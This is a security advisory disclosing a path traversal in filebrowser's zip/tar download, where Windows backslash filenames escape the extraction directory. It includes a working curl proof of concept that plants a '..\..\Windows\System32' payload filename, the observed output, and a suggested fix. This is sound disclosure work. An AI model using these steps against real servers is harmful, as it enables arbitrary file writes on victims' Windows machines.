File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames

Summary

filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.

Details

http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.

The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.

PoC

Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).

# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"

# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"admin\",\"password\":\"$PW\"}")

# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
  -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'

# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY

Observed output (verbatim):

mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True

Server-side, the file exists with a literal backslash name:

-rw-r-----  1 user user  20  ..\..\..\..\..\Windows\System32\evil.txt

The central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....

Negative control — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:

safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt  ->  HTTP 301  (collapsed by path.Clean; nothing escapes)

This proves / is handled but \ is the unhandled gap.

To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:

Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out

Impact

Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).

Affected versions

All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.

Suggested fix

Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:

nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host

Optionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.